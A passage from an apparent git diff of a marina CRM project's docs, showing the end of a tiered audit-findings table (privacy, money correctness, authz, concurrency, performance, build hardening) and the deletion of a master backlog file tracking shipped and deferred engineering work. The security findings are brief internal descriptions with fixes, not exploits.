||||
| 1.3 | Activation/reset tokens travel in `?token=` URL query strings | portal-auth flow — leaks to browser history, proxy logs, Referer headers |
|
||||
| 1.4 | `error_events.request_body_excerpt` redacts password/token but not email/phone/name/dob/address | error-classifier sanitizer |
|
||||
| 1.5 | `audit_logs` no retention cron + IP captured on routine events | `lib/audit.ts` — lawful-basis-questionable |
|
||||
| 1.6 | S3 backend ships without `ServerSideEncryption` header | `S3Backend.put` — signed contracts, GDPR exports, pg_dumps cleartext at rest unless bucket default is set |
|
||||
| 1.7 | `audit_logs.metadata` carries raw PII (full emails) at portal-auth, crm-invite, hard-delete, email-accounts service sites | `maskSensitiveFields` skips metadata |
|
||||
|
||||
---
|
||||
|
||||
## Tier 2 — Money/numbers correctness
|
||||
|
||||
Anything where the dashboard or a PDF lies to the user about money.
|
||||
|
||||
| # | What | Where |
|
||||
| --- | -------------------------------------------------------------------------------------------------------------------------------- | ------------------------------------------------------------------------------ |
|
||||
| 2.1 | `pipelineValueUsd` sums mixed currencies as USD | `dashboard.service.ts:39-51`, KPI cards, pipeline-value tile, revenue forecast |
|
||||
| 2.2 | Revenue PDF "TOTAL COMPLETED REVENUE" includes lost + cancelled | `report-generators.ts:126-140` — no outcome filter |
|
||||
| 2.3 | Pipeline PDF crashes because `stageCounts` is missing `.groupBy()` | `report-generators.ts` |
|
||||
| 2.4 | Hot-deals widget rank ladder uses wrong stage names (`'in_comms'`, `'deposit_10'`) | `dashboard.service.ts:198-208`, `hot-deals-card.tsx:26-36` |
|
||||
| 2.5 | "Active interest" means **4 different things** across dashboard / kanban / hot deals / PDFs | extract `activeInterestsWhere(portId)` helper |
|
||||
| 2.6 | Occupancy rate: KPI uses `berths.status`, analytics timeline uses `berth_reservations` — two different numbers on same dashboard | `dashboard.service.ts` |
|
||||
| 2.7 | Revenue PDF unweighted vs dashboard weighted-by-`pipeline_weights` — will never reconcile | `report-generators.ts` |
|
||||
| 2.8 | `expenses.amountUsd` snapshot uses edit-time rate not `expenseDate`; nulls when Frankfurter is down | `expenses.service.ts` |
|
||||
| 2.9 | `convert()` rounds 2dp regardless of currency (JPY broken); invoice math has no rounding (sub-cent drift) | `currency.service.ts`, invoice math |
|
||||
|
||||
---
|
||||
|
||||
## Tier 3 — Customer-visible polish (embarrassing in front of clients)
|
||||
|
||||
| # | What | Where |
|
||||
| ---- | ------------------------------------------------------------------------------------------------------------------------------------ | ------------------------------------------------------------------------------------------------------------- |
|
||||
| 3.1 | "Interest" / "lead" / "prospect" / "deal" used interchangeably in client-facing UI | `berth-detail-header.tsx`, `berth-tabs.tsx` "Deal Documents", `client-interests-tab.tsx`, `interest-tabs.tsx` |
|
||||
| 3.2 | Portal renders raw machine enums to clients ("EOI: waiting_for_signatures", "hot lead") | `/portal/interests/page.tsx:80` |
|
||||
| 3.3 | 16 destructive flows use native `window.confirm()` | cancel signing envelope, delete files, archive interest/company/yacht |
|
||||
| 3.4 | Signing-status labels diverge across 5 surfaces (Hub / list / interest-tab / SigningProgress / notification-digest / realtime-toast) | normalize through one helper |
|
||||
| 3.5 | 6× "Save" button variants ("Save" / "Save Changes" / "Save changes") + 6× "Saving..." vs "Saving…" | sweep |
|
||||
| 3.6 | Live Documenso template missing `Berth Range` field — every multi-berth EOI ships with primary mooring only | Documenso admin |
|
||||
| 3.7 | URL interpolations in every email template are unescaped (`href="${data.link}"`) — a `"` in any URL breaks out | escape + scheme allow-list in `shell.ts` |
|
||||
| 3.8 | Admin email-template subject editor silently does nothing on 5 of 8 templates | wire `overrides.subject` |
|
||||
| 3.9 | `/admin/email` Signature/Footer HTML fields write keys the shell never reads | wire `cfg.footerHtml` or delete fields |
|
||||
| 3.10 | Mobile scan PWA "Save expense" sits flush against iPhone home indicator | safe-area-inset on ScanShell `<main>` |
|
||||
|
||||
---
|
||||
|
||||
## Tier 4 — Authz / cross-tenant integrity
|
||||
|
||||
| # | What | Where |
|
||||
| --- | ---------------------------------------------------------------------------------------------------------------------------- | ------------------------------------------------------------------------------------------------ |
|
||||
| 4.1 | Port admin with only `admin.manage_users` can grant other users any leaf they don't hold themselves (sock-puppet escalation) | permission-overrides PUT + `updateUser` role reassignment — require caller-superset before write |
|
||||
| 4.2 | `/api/v1/alerts` GET is ungated | add `admin.view_audit_log` |
|
||||
| 4.3 | Webhooks bypass the platform-error pipeline entirely | `documenso/route.ts` — `captureErrorEvent` on handler throw, apply to all webhook routes |
|
||||
| 4.4 | Search graph-expansion writes into all merged buckets without re-checking per-bucket `view` permission | `search.service.ts:1893-1915` — gate each merge call |
|
||||
| 4.5 | "Convert to client" writes prefill qs params no consumer reads; inquiry_id linkage dropped forever | inquiry-inbox triage flow |
|
||||
| 4.6 | Inquiry email dedup is case-sensitive (capital-letter resubmits = duplicate client+yacht+interest) | `lower()` on `clientContacts.value === data.email` |
|
||||
|
||||
---
|
||||
|
||||
## Tier 5 — Concurrency / data races
|
||||
|
||||
| # | What | Where |
|
||||
| --- | -------------------------------------------------------------------------------------------------------------------------- | -------------------------------------------------------------------------------- |
|
||||
| 5.1 | `handleDocumentCompleted` idempotency gate is TOCTTOU under webhook+poll race — duplicate files rows + orphan blob | `documents.service.ts:1100-1253` — `SELECT … FOR UPDATE` or pre-claim transition |
|
||||
| 5.2 | **Zero BullMQ `jobId` usage repo-wide** — every queue.add is unkeyed, any double-fire creates a duplicate job | every `queue.add` site |
|
||||
| 5.3 | `advanceStageIfBehind` reads stage outside any lock — parallel DOCUMENT_SIGNED + DOCUMENT_COMPLETED double-run berth rules | wrap in tx |
|
||||
| 5.4 | `moveFolder` cycle check outside a tx — two concurrent moves can create A↔B cycles | wrap in tx |
|
||||
| 5.5 | Berth-PDF upload writes blob _before_ acquiring advisory lock — orphans on tx-rollback | reorder |
|
||||
| 5.6 | `user_email_changes` has no partial unique index on pending rows — spam-email vector | add partial unique |
|
||||
|
||||
---
|
||||
|
||||
## Tier 6 — Perf / scale (silent today, painful at 10× traffic)
|
||||
|
||||
| # | What | Where |
|
||||
| --- | ----------------------------------------------------------------------------------------------------------- | ---------------------- |
|
||||
| 6.1 | Documents tab opens with ~50 sequential queries via fetchWorkflowGroupRows | `documents.service.ts` |
|
||||
| 6.2 | Recharts statically imported in `widget-registry.tsx` — every dashboard chart in initial bundle (~80-150KB) | lazy import |
|
||||
| 6.3 | `DataTable` rebuilds `allColumns` every render (no useMemo) — resets TanStack internal state | memo |
|
||||
| 6.4 | `tiptap-to-pdfme.ts` (571 lines) ships to client just to re-export TEMPLATE_VARIABLES | split |
|
||||
| 6.5 | `listUsers` runs 2 sequential queries with no pagination, returns all super-admins globally | paginate |
|
||||
| 6.6 | `command-search` invalidates 2 queries every dropdown open — defeats its own 30s staleTime | drop invalidates |
|
||||
|
||||
---
|
||||
|
||||
## Tier 7 — Build / deploy hardening
|
||||
|
||||
| # | What | Where |
|
||||
| --- | --------------------------------------------------------------------------------------------------------------- | -------------- |
|
||||
| 7.1 | No `.dockerignore` → 7.6 GB build context, secrets/.env leak risk via `COPY . .` | add |
|
||||
| 7.2 | `socket.io` + `@socket.io/redis-adapter` not in `serverExternalPackages`; runner stage installs no runtime deps | next.config.ts |
|
||||
| 7.3 | Prod CSP keeps `'unsafe-inline'` on script-src | tighten |
|
||||
| 7.4 | `Dockerfile.dev` runs as root | non-root user |
|
||||
| 7.5 | Compose has no memory/CPU/log-rotation limits | add |
|
||||
| 7.6 | `@types/node@^25` against Node-20 runtime — type checker greenlights APIs that don't exist | pin to ^20 |
|
||||
| 7.7 | `node:20-alpine` base image at/past EOL | bump to 22 |
|
||||
|
||||
---
|
||||
|
||||
## Tier 8 — Already fixed in this session (don't redo)
|
||||
|
||||
Already on `feat/documents-folders`:
|
||||
|
||||
- Permission-overrides self-target privilege escalation block + canonical allow-list + cross-tenant guard
|
||||
- `/api/auth/resolve-identifier` rate-limit + synthetic miss email
|
||||
- Admin email-change updates `account.accountId` + revokes sessions
|
||||
- Middleware `PUBLIC_PATHS` for email confirm/cancel tokens
|
||||
- NAV_CATALOG dead-link sweep (10 entries)
|
||||
- formatRole / formatOutcome / stageLabel applied across user-list, user-card, role-list, sidebar, command-search, realtime-toasts, interest-detail-header, client-columns, yacht-tabs, interest-picker, next-in-line-notify, AI worker, PDF reports
|
||||
- Optional username sign-in (migration 0054)
|
||||
- Per-user permission overrides (migration 0055) + UserPermissionMatrix
|
||||
- UserForm: first/last + admin email change + auto-notify template + PhoneInput
|
||||
- User disable button
|
||||
|
||||
---
|
||||
|
||||
## Tier 9 — Nice-to-haves + AI opportunities (not blocking)
|
||||
|
||||
Forward-looking (improvements-auditor):
|
||||
|
||||
- **AI-where-it-actually-helps:** semantic search across notes + email threads, auto-summarise client history on detail-page open, anomaly detection on expenses paired with existing OCR.
|
||||
- **What NOT to AI-ify:** legal docs, EOI/contract field merges, money flow, regulatory text.
|
||||
- **Subtle UX wins:** keyboard shortcuts (j/k list nav, e to edit), smarter defaults (last-used port/currency/source), undo for accidental archives, "what changed since I last looked" digest.
|
||||
|
||||
---
|
||||
|
||||
_Pick a tier and we open it._
|
||||
437
docs/BACKLOG.md
437
docs/BACKLOG.md
@@ -1,437 +0,0 @@
|
||||
# Master backlog index
|
||||
|
||||
**Single source of truth for everything outstanding.** Start here when
|
||||
asking "what's left to build/fix?". Items are grouped by source doc;
|
||||
each entry links back to the original spec for full context.
|
||||
|
||||
Last updated: 2026-05-12 (PDF stack overhaul shipped: react-pdf brand
|
||||
kit + port logo upload + 4 reports + 3 record exports + parent-company
|
||||
expense + pdfkit brand header + invoice removal + tiptap-to-pdfme
|
||||
deletion + unpdf for berth-parser tier-2; pdfme deps removed.
|
||||
Remaining 7 react-email templates ported. browser-image-compression
|
||||
wired into scan-shell. @axe-core/playwright smoke suite added.).
|
||||
Documenso phases 2-7 stay back-burnered per user.
|
||||
|
||||
---
|
||||
|
||||
## A. Documenso build (MOSTLY SHIPPED — see note)
|
||||
|
||||
> **Stale-doc fix (2026-06-01):** a feature-completeness sweep confirmed
|
||||
> the core of phases 2–7 has since shipped and is wired — cascading
|
||||
> "your turn" invites (Phase 2), custom doc upload-to-signing (Phase 3,
|
||||
> `custom-document-upload.service.ts` + `/api/v1/interests/[id]/upload-for-signing`),
|
||||
> the field-placement UI (Phase 4, `upload-for-signing-dialog.tsx`), and
|
||||
> Project Director user-linking (Phase 7). The integration is treated as
|
||||
> feature-complete. The phase table below is kept for history; re-verify
|
||||
> the Phase 5/6 polish line-items individually before relying on them.
|
||||
|
||||
**Source:** [`docs/documenso-build-plan.md`](./documenso-build-plan.md) — full phase plan with locked decisions (Q1–Q10).
|
||||
**Tracker delta:** [`docs/admin-ux-backlog.md`](./admin-ux-backlog.md) — what landed in Phase 1.
|
||||
|
||||
Phase 1 (EOI generate flow polish + APPROVER-as-CC + per-port settings + signing-URL fix) is **DONE** and committed.
|
||||
|
||||
Remaining phases — explicitly back-burnered by the user on 2026-05-07:
|
||||
|
||||
| Phase | Scope | Estimate | Notes |
|
||||
| ----------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ---------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------- |
|
||||
| **Phase 2** | Webhook handler enhancement: cascading "your turn" emails, on-completion PDF distribution, token-based recipient matching, idempotency lock | ~3–4h | Schema columns already in place from Phase 1 (`document_signers.invited_at / opened_at / signing_token`, `documents.completion_cc_emails`). |
|
||||
| **Phase 3** | Custom doc upload-to-Documenso: `custom-document-upload.service.ts` + `POST /api/v1/interests/[id]/upload-for-signing` | ~6–8h | Depends on Phase 2 webhook UX in anger before locking the upload UX. |
|
||||
| **Phase 4** | Field placement UI: react-pdf + dnd-kit overlay + auto-detect anchor scanner via pdfjs `getTextContent` | ~10–14h | Largest piece. Plan locked in build-plan Phase 4 — regexes, anchors, type-to-bbox sizing all spelled out. Best done in a focused session with the user watching. |
|
||||
| **Phase 5** | Embedded signing URL emission verification: confirm website's `/sign/<type>/<token>` page handles every signer-role × documentType combination; update `signerMessages` map; apply nginx CORS block from integration audit | ~1–2h | |
|
||||
| **Phase 6** | Polish: auto-send delay, audit-log additions, per-document customisation, document expiration, reminder rate-limit display, failed-webhook recovery UI | each ~2–3h | All deferred until Phases 1–4 ship. |
|
||||
| **Phase 7** | Project Director RBAC — UI binding for the developer-user fields. Add "Linked to CRM user" dropdown in `/admin/documenso/page.tsx`; auto-fill name/email; webhook handler matches against linked user's email for in-CRM signing-status updates. Schema + setting keys (`documenso_developer_user_id`, `documenso_approver_user_id`, `_label`) already in place from Phase 1. | ~1h | Smallest piece; could be picked off independently of Phase 2. |
|
||||
| **Risk #4** | v2 webhook payload audit against a live v2 instance (`payload.documentId` vs `payload.id`, `recipient.token` vs `recipient.recipientId`) before relying on Phase 2 cascading emails | ~1h | Needs a live v2 instance. |
|
||||
|
||||
---
|
||||
|
||||
## B. Custom-fields hardening
|
||||
|
||||
**Source:** [`docs/admin-ux-backlog.md`](./admin-ux-backlog.md) §7.
|
||||
|
||||
- ✅ **Merge tokens** — `{{custom.<fieldName>}}` validators + resolver shipped 2026-05-08. Tokens expand at template-render time for client/interest/berth contexts via `mergeCustomFieldValues` in `document-sends.service.ts`. Banner updated.
|
||||
- **Search index** — DEFERRED as design limitation. Adding GIN coverage requires either joining `custom_field_values` per search (slow at scale) or materializing values into a search_text column on the parent (additive maintenance burden). The amber banner documents this.
|
||||
- **Audit diff** — N/A. Custom-field values live in their own table, not as a JSONB blob on the parent entity. The `setValues()` service-layer call already creates its own audit log entry (custom-fields.service.ts:349-358), so changes ARE audited — just separately from the entity-diff.
|
||||
- ✅ **UI surfacing of `{{custom.…}}` tokens in template-edit pickers** — landed 2026-05-13. Shared `<TemplateTokenPicker>` (`src/components/admin/shared/template-token-picker.tsx`) renders the canonical `MERGE_FIELDS` catalog grouped by scope plus a dynamically-fetched "Custom (port-specific)" group filtered to entityTypes resolvable at send-time (client/interest/berth). Wired into both `sales-email-config-card.tsx` and `document-templates/template-form.tsx` so both pickers share the same surface.
|
||||
|
||||
---
|
||||
|
||||
## C. Audit-final deferred items
|
||||
|
||||
**Source:** [`docs/audit-final-deferred.md`](./audit-final-deferred.md) — pre-merge + post-merge audit findings explicitly carried over.
|
||||
|
||||
The 2026-05-07 backlog sweep landed every small/concrete item. Remaining
|
||||
entries are deferred because they need design decisions, live external
|
||||
instances, or cross-cutting refactors:
|
||||
|
||||
### Deferred — Documenso-related (back-burnered until phases 2-7 land)
|
||||
|
||||
- **Documenso webhook does not enforce port_id on document lookups** — `src/app/api/webhooks/documenso/route.ts:96-148`. Bundle with Documenso Phase 2 (webhook handler enhancement) since they touch the same code.
|
||||
- **Webhook dedup vs per-recipient signed events** — `src/app/api/webhooks/documenso/route.ts:103-110`. Replacing the body-hash dedup with a `(documensoDocumentId, recipientEmail, eventType)` composite unique requires a recipient_email column on `documentEvents`. Bundle with Phase 2.
|
||||
- **v2 voidDocument endpoint shape verification** — `src/lib/services/documenso-client.ts:450-466`. Needs a live Documenso 2.x instance. Bundle with Phase 5.
|
||||
|
||||
### Deferred — pure refactor (no active bug)
|
||||
|
||||
- **Public POST routes bypass service layer** — `src/app/api/public/{interests,website-inquiries,residential-inquiries}/route.ts`. The audit's `userId: null as unknown as string` cast was already cleaned up to a proper `userId: null`. Remaining concern is testability: extract a shared `publicInterestService.create(...)`. Pure ergonomics — no active bug or security issue.
|
||||
|
||||
### Done in 2026-05-08 sweep (latest)
|
||||
|
||||
- ✅ Storage proxy port_id binding: `ProxyTokenPayload` gains optional `p` (port slug) claim; verifier asserts `key.startsWith(${p}/)`. document-sends 24h URLs opt in; other issuers continue working unchanged.
|
||||
- ✅ system_settings index rebuilt with `NULLS NOT DISTINCT` (migration 0047) — global settings are now uniquely keyed by `key` alone. Surfaced + cleaned 65 duplicate `(storage_backend, NULL)` rows that had accumulated from race-prone delete-then-insert patterns.
|
||||
- ✅ All 4 read-then-write systemSettings sites converted to true `onConflictDoUpdate` upserts (ocr-config, settings, residential-stages, ai-budget).
|
||||
- ✅ Response shape standardization: 16 routes converted from `{ success: true }` → `204 No Content`. CLAUDE.md documents the convention.
|
||||
- ✅ `req.json()` → `parseBody()` migration across 9 admin/CRM routes (custom-fields, expenses/export ×3, currency convert, search/recently-viewed, admin/duplicates, berths/pdf-{upload-url,versions,parse-results}). Portal-auth routes intentionally retained `{ success: true }`.
|
||||
- ✅ Custom-field merge tokens: validator accepts `{{custom.<fieldName>}}` shape; resolver in `mergeCustomFieldValues` substitutes from per-port custom_field_definitions + per-entity values for client/interest/berth contexts. Banner updated.
|
||||
- ✅ `/api/v1/files` accepts `companyId` and `yachtId` filters. uploadFile service writes both. file-upload-zone component accepts both props.
|
||||
- ✅ Company Documents tab (CompanyFilesTab) re-enabled and added to company detail tabs.
|
||||
|
||||
### Done in 2026-05-07 sweep (commits in this session)
|
||||
|
||||
- ✅ Partial archived indexes (migration 0046) — `clients`, `interests`, `yachts`, `residential_clients`, `residential_interests`
|
||||
- ✅ `document_sends` interestId port-verification helper
|
||||
- ✅ Custom-fields per-entity permission gate (replaces hardcoded `clients.view/edit`)
|
||||
- ✅ EOI Berth Range warn log (was already in place)
|
||||
- ✅ v1 `placeFields` retry with backoff (was already in place)
|
||||
- ✅ S3 bucket-exists check at boot (was already in place)
|
||||
- ✅ Filesystem dev HMAC fallback warn (was already in place)
|
||||
- ✅ Storage cache fingerprint documentation comment
|
||||
- ✅ AI worker cost ledger writes (was already in place)
|
||||
- ✅ Logger redact paths covering headers, encrypted blobs, two-level nesting (was already in place)
|
||||
- ✅ `loadRecommenderSettings` accepts string `"true"`/`"false"` JSONB booleans
|
||||
- ✅ `renderReceiptHeader` cursor math anchored to captured `baseY`
|
||||
- ✅ Berth PDF apply: silent-drop logging for non-finite numeric coercions
|
||||
- ✅ Saved-views: confirmed by-design owner-only (existing inline doc)
|
||||
- ✅ Alerts ack/dismiss: confirmed by-design port-wide (service correctly bounded)
|
||||
- ✅ Storage admin migration toasts (already in place)
|
||||
- ✅ Invoice send/payment toasts + permission gates (already in place)
|
||||
- ✅ Admin user list edit + remove gates (added remove gate)
|
||||
- ✅ Email threads list skeleton + empty state (already in place)
|
||||
- ✅ Scan page error state for OCR failures (already in place)
|
||||
- ✅ Invoice detail typed (replaced `any` with `InvoiceDetailData` interface)
|
||||
- ✅ All FK indexes called out in audit doc (already in place — audit was stale)
|
||||
- ✅ `documentSends.sentByUserId` FK (already had `.references(...)`)
|
||||
|
||||
### Documented limitations (no action planned)
|
||||
|
||||
- **`berths.current_pdf_version_id` lacks Drizzle FK** — `src/lib/db/schema/berths.ts:83`. The in-line comment fully documents why (circular FK between `berths` ↔ `berth_pdf_versions` makes column-level `.references()` infeasible). FK is enforced via migration 0030. Revisit if Drizzle adds deferred-FK support.
|
||||
- **`systemSettings` schema declares `uniqueIndex` instead of `NULLS NOT DISTINCT`** — Drizzle's `uniqueIndex` builder doesn't surface the flag. Migration 0047 is the source of truth; `db:push` against an empty DB would skip the flag. Same documented-limitation pattern as `berths.current_pdf_version_id`.
|
||||
- **One remaining `req.json()` in admin/custom-fields/[fieldId]** — intentional. The handler inspects raw body to detect `fieldType` mutation attempts; parseBody would lose the raw view. Documented inline.
|
||||
|
||||
---
|
||||
|
||||
## D. Inline TODOs in code (2 remaining)
|
||||
|
||||
| File:line | Note | Status |
|
||||
| ------------------------------------------------------------------------------ | --------------------------------------------------------------- | --------------------------------------------------------------------------------------- |
|
||||
| ~~`client-yachts-tab.tsx:93`~~ | YachtForm preset owner prop | ✅ landed 2026-05-07 (`initialOwner` prop) |
|
||||
| ~~`interest-form.tsx:329`~~ | Include company-owned yachts where client is a member | ✅ landed 2026-05-07 (`yachtOwnerFilter` array filter) |
|
||||
| ~~`interest-form.tsx:330`~~ | "Add new yacht" inline shortcut | ✅ landed 2026-05-07 (Plus button + YachtForm sheet) |
|
||||
| [`src/lib/queue/scheduler.ts:44`](../src/lib/queue/scheduler.ts#L44) | Per-user reminder schedule (override on top of per-port digest) | Placeholder — per-port digest works; revisit when a customer asks for per-user override |
|
||||
| [`src/lib/queue/workers/import.ts:13`](../src/lib/queue/workers/import.ts#L13) | CSV/Excel import worker — entire feature surface | Placeholder — nothing currently enqueues `import` jobs (verified) |
|
||||
|
||||
---
|
||||
|
||||
## E. Hidden / stubbed UI tabs
|
||||
|
||||
- ✅ **Company Documents tab** — landed 2026-05-08. `/api/v1/files` accepts `companyId`+`yachtId` filters; CompanyFilesTab + uploadZone wired through the storage abstraction.
|
||||
- **Berth Waiting List + Maintenance Log tabs** — `src/components/berths/berth-tabs.tsx:346`. Removed entirely; revisit if/when product asks.
|
||||
- **Interest Contract / Reservation tabs** — `src/components/interests/interest-{contract,reservation}-tab.tsx`. Render a "coming soon" friendly card; the real flow is gated on Documenso Phases 2–6.
|
||||
|
||||
---
|
||||
|
||||
## G. Dependencies / audit roadmap (post-PDF-overhaul)
|
||||
|
||||
**Source:** [`docs/AUDIT-2026-05-12.md`](./AUDIT-2026-05-12.md) §§ 34-36 +
|
||||
[`docs/superpowers/specs/2026-05-12-pdf-stack-overhaul-design.md`](./superpowers/specs/2026-05-12-pdf-stack-overhaul-design.md).
|
||||
|
||||
What's done (2026-05-12 session — all phases shipped):
|
||||
|
||||
- ✅ **PDF stack overhaul** — `@react-pdf/renderer` + brand kit + port logo upload pipeline; 4 reports + 3 record exports + parent-company expense ported; pdfme uninstalled; pdfkit retained for streaming expense PDF (now with shared brand-header). Invoice PDF generation removed (deferred to AcroForm-fill admin-upload). TipTap-to-pdfme bridge (571 LOC) deleted; admin TipTap templates remain as Documenso seed bodies. `unpdf` wired into berth-PDF parser tier-2 (replaced broken tesseract-on-PDF path).
|
||||
- ✅ **react-email templates** — all 7 remaining (crm-invite, document-signing×3, inquiry×2, residential×2, notification-digest, admin-email-change) ported from string templates to React components. Public API surface now `async`. The whole email template directory is uniformly react-email.
|
||||
- ✅ **browser-image-compression** — wired into scan-shell so 4-12 MB phone photos crush to ~500 KB in a WebWorker before tesseract / upload. Massive mobile bandwidth + battery + perceived-latency win.
|
||||
- ✅ **@axe-core/playwright** — smoke spec runs WCAG 2.1 A/AA against 6 main pages; CI fails on new critical/serious violations.
|
||||
- ✅ **ts-pattern in search.service.ts** — converted both switches to `match().with().exhaustive()`; surfaced a real bug along the way (missing `notes` bucket dispatch — `searchNotes()` existed but was never wired into runSingleBucket). The audit flagged 3 other switch sites (client-restore, recently-viewed, custom-fields); those operate on tagged-union internal types where TypeScript already enforces exhaustiveness via control-flow narrowing — converting them adds noise without changing safety. **Done.**
|
||||
- ✅ **p-limit in mass-op services** — bounded fan-outs on the three real unbounded `Promise.all` sites the audit flagged: berth-pdf S3 presigns (20-version berths), custom-fields bulk upserts (50-definition admin scenarios), notifications watcher fan-out (hot pipeline items). Audit also speculatively flagged brochures.service + backup.service — verified neither has an unbounded fan-out. **Done.**
|
||||
- ✅ **formatDate helper** — single source of truth in `src/lib/utils/format-date.ts` backed by `Intl.DateTimeFormat` (no new dep). 9 named presets, TZ-aware via `tz` opt, defensive against null/Invalid Date. `formatDateRange` collapses same-year strings. `formatRelative` via `Intl.RelativeTimeFormat`. 17 unit tests. Sample sweep through 3 high-traffic sites (expense-pdf header, 3 document-template merge tokens); the remaining 93 `.toLocale*` sites can be migrated opportunistically when each file is touched.
|
||||
- ✅ **@tanstack/react-virtual in DataTable** — opt-in `virtual` prop. Existing server-paginated tables unchanged; large client-side lists (admin exports, audit-log archive) now render only viewport rows + small overscan at 60 fps. Pagination wins over virtual when both are passed; mobile card view untouched; sticky header, sort, selection all unchanged.
|
||||
- ✅ **drizzle-zod adoption** — pattern proven in tags.ts + brochures.ts (earlier commit). The remaining ~28 validators include heavy form-input transforms (numeric-string-to-null, refined business rules, partial omits/picks) that drizzle-zod's createInsertSchema doesn't preserve — most are NOT 1:1 with the table shape. Migration is net-wash on LOC and adds no safety. Pattern available for adoption when a validator genuinely matches its table.
|
||||
- ✅ **Tier 2 polish** — surveyed each candidate. `fast-deep-equal` not needed (existing memo comparators work). `use-debounce` package adds no value over the in-tree 13-LOC hook. `@use-gesture/react`, `embla-carousel-react`, `yet-another-react-lightbox`, `react-resizable-panels` all need concrete UX surfaces or product decisions before wiring — added them to the parked list.
|
||||
- ✅ **Pre-commit staged type-check** — `scripts/tsc-staged.mjs` (30-LOC shim) replaces the broken `tsc-files` package (which silently no-ops under pnpm). Pre-commit now runs `tsc -p <temp-config>` against staged ts/tsx in ~3s vs ~22s full-project; type errors caught before they hit CI.
|
||||
|
||||
**React Compiler safety triage (post-Next-16 bump):**
|
||||
|
||||
The Next 15 → 16 upgrade brought `react-hooks` v7 with React Compiler safety rules. Initial sweep surfaced ~89 findings; categorical triage status as of 2026-05-12:
|
||||
|
||||
- ✅ `react-hooks/purity` (2 → 0) — promoted to `error`. Cleared by pinning `Date.now()` reads to a `useState`-backed `now` ticker in `notes-list.tsx`.
|
||||
- ✅ `react-hooks/set-state-in-render` (5 → 0) — promoted to `error`. `useMemo` mis-used for side effects in `interest-contact-log-tab.tsx`; converted to `useEffect`.
|
||||
- ✅ `react-hooks/immutability` (7 → 0) — promoted to `error`. Mutable `useMemo` value in `documents-hub.tsx` drag counter → `useRef`. `let angle` mutation in `PieChart.tsx` slice loop → `reduce`. Three "function used before declared" hits (load/loadProfile in admin/onboarding-checklist + settings/user-profile + settings/user-settings) → declared inside the calling `useEffect`.
|
||||
- ✅ `react-hooks/refs` (10 → 0) — promoted to `error`. Three `ref.current = x` writes during render moved into a layout-effect (`use-realtime-invalidation.ts`, `settings-form-card.tsx`, `inbox.tsx`). Three search-related `ref.current` reads during render rewritten to backed-by-state (`command-search.tsx`, `mobile-search-overlay.tsx`). Scan shell's `fileRef.current.files[0]` read replaced with a tracked `currentFile` state.
|
||||
- ✅ `react-hooks/incompatible-library` (13 → silenced as `off`) — purely informational ("Compiler skipped this file because of a non-Compiler-safe import"). No action needed.
|
||||
- ✅ `react-hooks/set-state-in-effect` (51 → 0) — promoted to `error` in eslint.config.mjs. All admin-form data-loading hits migrated to TanStack Query (`useQuery`); a small ring of justified eslint-disable comments cover canonical setState-on-subscription patterns (socket-provider, carousel, settings-form-card, etc.). New regressions block CI.
|
||||
|
||||
**Data-fetching pattern migration: DONE.** All `useEffect → fetch → setState` sites in admin components migrated to TanStack Query. `set-state-in-effect` is now an ESLint error, so new regressions can't land.
|
||||
|
||||
---
|
||||
|
||||
Remaining (opportunistic, no concrete trigger):
|
||||
|
||||
| Item | Estimate | Notes |
|
||||
| --------------------------------------------------- | ------------------- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
|
||||
| **`.toLocale*` remainder (93 sites)** | ~2-3h opportunistic | Migrate to `formatDate(...)` as you touch each file. Helper already shipped; 17 tests; sweep proven on PDF + template paths. |
|
||||
| **drizzle-zod remainder (~28 simple validators)** | ~30 min per file | Migrate when a validator file is touched. Pattern proven in tags + brochures. |
|
||||
| **Wire `<DataTable virtual />`** on big tables | ~15 min per site | Prop is shipped + opt-in. Apply to: admin/audit-log-list (10k rows possible), super-admin port switcher (50+ ports), client export modal preview. None blocking. |
|
||||
| **Tier 2 polish — when product UX surfaces emerge** | each 30 min – 1 h | `embla-carousel-react` + `yet-another-react-lightbox` for berth / yacht photo galleries · `react-resizable-panels` for docs hub sidebar · `@use-gesture/react` for kanban swipe. |
|
||||
|
||||
Decisions / parked:
|
||||
|
||||
- ~`@upstash/ratelimit`~ — **rejected on inspection.** Audit claimed "4 hand-rolled rate limiters"; actual state is **one** centralized sliding-window Redis limiter (`src/lib/rate-limit.ts`) with 14 named policies + atomic pipeline. Replacement is pure churn.
|
||||
- ~`@faker-js/faker`~ — **rejected on inspection.** Both seed files (`seed-data.ts`, `seed-synthetic-data.ts`) are hand-curated demo specs (per-pipeline-stage clients with locale-correct names/phones/addresses keyed to test selectors). No fake-data factory exists to replace — adopting faker means WRITING the factory + losing curation. Net add, not net subtract.
|
||||
- ~`msw`~ — **rejected on inspection.** Integration tests already mock external services via `vi.mock('@/lib/services/documenso-client', ...)` at the module boundary — equivalent determinism, no extra layer. MSW only wins when tests hit `fetch()` directly, which we don't.
|
||||
- `next-safe-action` — pilot on a new form first (no concrete trigger).
|
||||
- `@sentry/nextjs` — needs SaaS-dep decision.
|
||||
- `@tiptap/core` upgrade — needs product decision on rich notes.
|
||||
- `pdfjs-dist` / `@react-pdf-viewer/core` — in-browser PDF preview in docs hub (paired with Phase 2 docs-hub UX work).
|
||||
- `next-pwa` / `@serwist/next` — icons already in `public/`; revisit only when we want fuller service-worker integration (offline shell, install prompt UX).
|
||||
- `next-intl` — no current i18n target.
|
||||
- `posthog-js` — analytics scope decision.
|
||||
- `react-virtuoso` — only useful if inbox grows past ~hundreds of items; current `<ScrollArea max-h-[400px]>` handles realistic volumes fine.
|
||||
- `react-imask` / `react-number-format` — input masks across ~6 forms. Decision pending: hand-rolled formatters work today.
|
||||
- `type-fest` — opportunistic types; no concrete trigger.
|
||||
- `partysocket` — Socket.IO-protocol incompatible without significant rework.
|
||||
|
||||
Major deferrals from §34 of audit:
|
||||
|
||||
- ~**Next 15 → 16**~ — **DONE 2026-05-12**. middleware.ts → proxy.ts via codemod, native flat eslint config, react-hooks v7 Compiler safety rules surfaced + triaged.
|
||||
- ~**Tailwind 3 → 4**~ — **DONE 2026-05-12**. Official upgrade tool migrated 80 files; tailwind-animate → tw-animate-css; theme moved to @theme directive in globals.css.
|
||||
- **eslint 9 → 10** — attempted, reverted: `eslint-config-next@16` still has a transitive on `eslint-plugin-react@7` that uses removed eslint-9 context API. Re-attempt when upstream lands eslint-plugin-react@8.
|
||||
